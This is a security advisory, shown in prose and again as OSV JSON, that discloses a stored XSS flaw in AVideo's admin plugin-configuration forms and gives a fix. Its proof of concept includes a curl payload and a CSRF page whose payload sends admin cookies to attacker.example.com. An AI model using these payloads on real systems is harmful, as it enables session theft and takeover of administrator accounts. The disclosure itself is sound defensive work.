GHSA-V4H7-3X43-QQW4

Vulnerability from github – Published: 2026-03-31 23:22 – Updated: 2026-03-31 23:22
VLAI?
Summary
AVideo has Stored XSS via Unescaped Plugin Configuration Values in Admin Panel
Details

Summary

The AVideo admin panel renders plugin configuration values in HTML forms without applying htmlspecialchars() or any other output encoding. The jsonToFormElements() function in admin/functions.php directly interpolates user-controlled values into textarea contents, option elements, and input attributes. An attacker who can set a plugin configuration value (either as a compromised admin or by chaining with CSRF on admin/save.json.php) can inject arbitrary JavaScript that executes whenever any administrator visits the plugin configuration page.

This vulnerability chains with AVI-046 (CSRF on save.json.php) to enable a full cross-origin stored XSS attack against the admin panel without requiring any prior authentication.

Details

The jsonToFormElements() function in admin/functions.php contains multiple unsafe output points where configuration values are rendered without escaping:

Textarea injection (line 47):

// admin/functions.php:47
$html .= "<textarea class='form-control' name='{$name}' id='{$id}'>{$valueJson->value}</textarea>";

The $valueJson->value is placed directly between textarea tags without encoding.

Select option injection (line 55):

// admin/functions.php:55
$html .= "<option value='{$key}' {$select}>{$value}</option>";

Both $key and $value are inserted without encoding, allowing attribute breakout and HTML injection.

Input type and value injection (lines 62-63):

// admin/functions.php:62-63
$html .= "<input class='form-control' type='{$valueJson->type}' value='{$valueJson->value}' name='{$name}' id='{$id}'/>";

Both type and value attributes are unescaped, enabling attribute injection.

Fallback input injection (line 75):

// admin/functions.php:75
$html .= "<input class='form-control' type='text' value='{$valueJson}' name='{$name}' id='{$id}'/>";

The raw $valueJson string is placed into the value attribute without encoding.

Configuration values are saved via admin/save.json.php, which lacks CSRF token validation.

Proof of Concept

Method 1: Direct exploitation (requires admin session)

# Store XSS payload in a plugin configuration value
# The endpoint uses pluginName and direct field names as parameters
curl -b "PHPSESSID=ADMIN_SESSION_COOKIE" \
  -X POST "https://your-avideo-instance.com/admin/save.json.php" \
  -d "pluginName=PlayerSkins&skin=x' onfocus=alert(document.cookie) autofocus='"

When any admin visits the plugin configuration page, the payload fires.

Method 2: Cross-origin chain with CSRF (no authentication required)

Create the following HTML page and trick an admin into visiting it:

<!DOCTYPE html>
<html>
<head><title>AVI-033 + AVI-046 Chain PoC</title></head>
<body>
<h1>Loading...</h1>
<form id="xss" method="POST"
      action="https://your-avideo-instance.com/admin/save.json.php">
  <input type="hidden" name="name" value="Gallery" />
  <input type="hidden" name="parameter" value="description" />
  <input type="hidden" name="value"
         value="' onfocus=fetch('https://attacker.example.com/steal?c='+document.cookie) autofocus='" />
</form>
<script>document.getElementById('xss').submit();</script>
</body>
</html>

The payload breaks out of the value attribute in the rendered input element:

<!-- Rendered HTML in admin panel -->
<input class='form-control' type='text'
       value='' onfocus=fetch('https://attacker.example.com/steal?c='+document.cookie) autofocus=''
       name='description' id='description'/>

Impact

An attacker can achieve stored cross-site scripting in the AVideo admin panel. When chained with the CSRF vulnerability on save.json.php, this requires zero authentication - the attacker only needs to lure an admin to a malicious page. Once the XSS fires in the admin context, the attacker can:

  • Steal admin session cookies and CSRF tokens
  • Create new admin accounts
  • Modify site configuration (enable file uploads, disable security features)
  • Inject persistent JavaScript into public-facing pages via site-wide settings
  • Pivot to server-side code execution via plugin upload functionality

  • CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)

  • Severity: High

Recommended Fix

Apply htmlspecialchars($value, ENT_QUOTES, 'UTF-8') to all user-controlled values rendered in admin/functions.php:

// admin/functions.php:47 - textarea content
$html .= "<textarea class='form-control' name='{$name}' id='{$id}'>" . htmlspecialchars($valueJson->value, ENT_QUOTES, 'UTF-8') . "</textarea>";

// admin/functions.php:55 - select option
$html .= "<option value='" . htmlspecialchars($key, ENT_QUOTES, 'UTF-8') . "' {$select}>" . htmlspecialchars($value, ENT_QUOTES, 'UTF-8') . "</option>";

// admin/functions.php:62-63 - input type and value
$html .= "<input class='form-control' type='" . htmlspecialchars($valueJson->type, ENT_QUOTES, 'UTF-8') . "' value='" . htmlspecialchars($valueJson->value, ENT_QUOTES, 'UTF-8') . "' name='{$name}' id='{$id}'/>";

// admin/functions.php:75 - fallback input
$html .= "<input class='form-control' type='text' value='" . htmlspecialchars($valueJson, ENT_QUOTES, 'UTF-8') . "' name='{$name}' id='{$id}'/>";

Found by aisafe.io

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34396"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-31T23:22:21Z",
    "nvd_published_at": "2026-03-31T21:16:30Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe AVideo admin panel renders plugin configuration values in HTML forms without applying `htmlspecialchars()` or any other output encoding. The `jsonToFormElements()` function in `admin/functions.php` directly interpolates user-controlled values into textarea contents, option elements, and input attributes. An attacker who can set a plugin configuration value (either as a compromised admin or by chaining with CSRF on `admin/save.json.php`) can inject arbitrary JavaScript that executes whenever any administrator visits the plugin configuration page.\n\nThis vulnerability chains with AVI-046 (CSRF on `save.json.php`) to enable a full cross-origin stored XSS attack against the admin panel without requiring any prior authentication.\n\n## Details\n\nThe `jsonToFormElements()` function in `admin/functions.php` contains multiple unsafe output points where configuration values are rendered without escaping:\n\n**Textarea injection (line 47):**\n```php\n// admin/functions.php:47\n$html .= \"\u003ctextarea class=\u0027form-control\u0027 name=\u0027{$name}\u0027 id=\u0027{$id}\u0027\u003e{$valueJson-\u003evalue}\u003c/textarea\u003e\";\n```\nThe `$valueJson-\u003evalue` is placed directly between textarea tags without encoding.\n\n**Select option injection (line 55):**\n```php\n// admin/functions.php:55\n$html .= \"\u003coption value=\u0027{$key}\u0027 {$select}\u003e{$value}\u003c/option\u003e\";\n```\nBoth `$key` and `$value` are inserted without encoding, allowing attribute breakout and HTML injection.\n\n**Input type and value injection (lines 62-63):**\n```php\n// admin/functions.php:62-63\n$html .= \"\u003cinput class=\u0027form-control\u0027 type=\u0027{$valueJson-\u003etype}\u0027 value=\u0027{$valueJson-\u003evalue}\u0027 name=\u0027{$name}\u0027 id=\u0027{$id}\u0027/\u003e\";\n```\nBoth `type` and `value` attributes are unescaped, enabling attribute injection.\n\n**Fallback input injection (line 75):**\n```php\n// admin/functions.php:75\n$html .= \"\u003cinput class=\u0027form-control\u0027 type=\u0027text\u0027 value=\u0027{$valueJson}\u0027 name=\u0027{$name}\u0027 id=\u0027{$id}\u0027/\u003e\";\n```\nThe raw `$valueJson` string is placed into the `value` attribute without encoding.\n\nConfiguration values are saved via `admin/save.json.php`, which lacks CSRF token validation.\n\n## Proof of Concept\n\n**Method 1: Direct exploitation (requires admin session)**\n\n```bash\n# Store XSS payload in a plugin configuration value\n# The endpoint uses pluginName and direct field names as parameters\ncurl -b \"PHPSESSID=ADMIN_SESSION_COOKIE\" \\\n  -X POST \"https://your-avideo-instance.com/admin/save.json.php\" \\\n  -d \"pluginName=PlayerSkins\u0026skin=x\u0027 onfocus=alert(document.cookie) autofocus=\u0027\"\n```\n\nWhen any admin visits the plugin configuration page, the payload fires.\n\n**Method 2: Cross-origin chain with CSRF (no authentication required)**\n\nCreate the following HTML page and trick an admin into visiting it:\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eAVI-033 + AVI-046 Chain PoC\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch1\u003eLoading...\u003c/h1\u003e\n\u003cform id=\"xss\" method=\"POST\"\n      action=\"https://your-avideo-instance.com/admin/save.json.php\"\u003e\n  \u003cinput type=\"hidden\" name=\"name\" value=\"Gallery\" /\u003e\n  \u003cinput type=\"hidden\" name=\"parameter\" value=\"description\" /\u003e\n  \u003cinput type=\"hidden\" name=\"value\"\n         value=\"\u0027 onfocus=fetch(\u0027https://attacker.example.com/steal?c=\u0027+document.cookie) autofocus=\u0027\" /\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById(\u0027xss\u0027).submit();\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nThe payload breaks out of the `value` attribute in the rendered input element:\n\n```html\n\u003c!-- Rendered HTML in admin panel --\u003e\n\u003cinput class=\u0027form-control\u0027 type=\u0027text\u0027\n       value=\u0027\u0027 onfocus=fetch(\u0027https://attacker.example.com/steal?c=\u0027+document.cookie) autofocus=\u0027\u0027\n       name=\u0027description\u0027 id=\u0027description\u0027/\u003e\n```\n\n## Impact\n\nAn attacker can achieve stored cross-site scripting in the AVideo admin panel. When chained with the CSRF vulnerability on `save.json.php`, this requires zero authentication - the attacker only needs to lure an admin to a malicious page. Once the XSS fires in the admin context, the attacker can:\n\n- Steal admin session cookies and CSRF tokens\n- Create new admin accounts\n- Modify site configuration (enable file uploads, disable security features)\n- Inject persistent JavaScript into public-facing pages via site-wide settings\n- Pivot to server-side code execution via plugin upload functionality\n\n- **CWE-79**: Improper Neutralization of Input During Web Page Generation (Stored XSS)\n- **Severity**: High\n\n## Recommended Fix\n\nApply `htmlspecialchars($value, ENT_QUOTES, \u0027UTF-8\u0027)` to all user-controlled values rendered in `admin/functions.php`:\n\n```php\n// admin/functions.php:47 - textarea content\n$html .= \"\u003ctextarea class=\u0027form-control\u0027 name=\u0027{$name}\u0027 id=\u0027{$id}\u0027\u003e\" . htmlspecialchars($valueJson-\u003evalue, ENT_QUOTES, \u0027UTF-8\u0027) . \"\u003c/textarea\u003e\";\n\n// admin/functions.php:55 - select option\n$html .= \"\u003coption value=\u0027\" . htmlspecialchars($key, ENT_QUOTES, \u0027UTF-8\u0027) . \"\u0027 {$select}\u003e\" . htmlspecialchars($value, ENT_QUOTES, \u0027UTF-8\u0027) . \"\u003c/option\u003e\";\n\n// admin/functions.php:62-63 - input type and value\n$html .= \"\u003cinput class=\u0027form-control\u0027 type=\u0027\" . htmlspecialchars($valueJson-\u003etype, ENT_QUOTES, \u0027UTF-8\u0027) . \"\u0027 value=\u0027\" . htmlspecialchars($valueJson-\u003evalue, ENT_QUOTES, \u0027UTF-8\u0027) . \"\u0027 name=\u0027{$name}\u0027 id=\u0027{$id}\u0027/\u003e\";\n\n// admin/functions.php:75 - fallback input\n$html .= \"\u003cinput class=\u0027form-control\u0027 type=\u0027text\u0027 value=\u0027\" . htmlspecialchars($valueJson, ENT_QUOTES, \u0027UTF-8\u0027) . \"\u0027 name=\u0027{$name}\u0027 id=\u0027{$id}\u0027/\u003e\";\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-v4h7-3x43-qqw4",
  "modified": "2026-03-31T23:22:21Z",
  "published": "2026-03-31T23:22:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-v4h7-3x43-qqw4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34396"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/a93ba83eb9f3aa47cd16af0a0dc13da3bf8ac4d1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has Stored XSS via Unescaped Plugin Configuration Values in Admin Panel"
}


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Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
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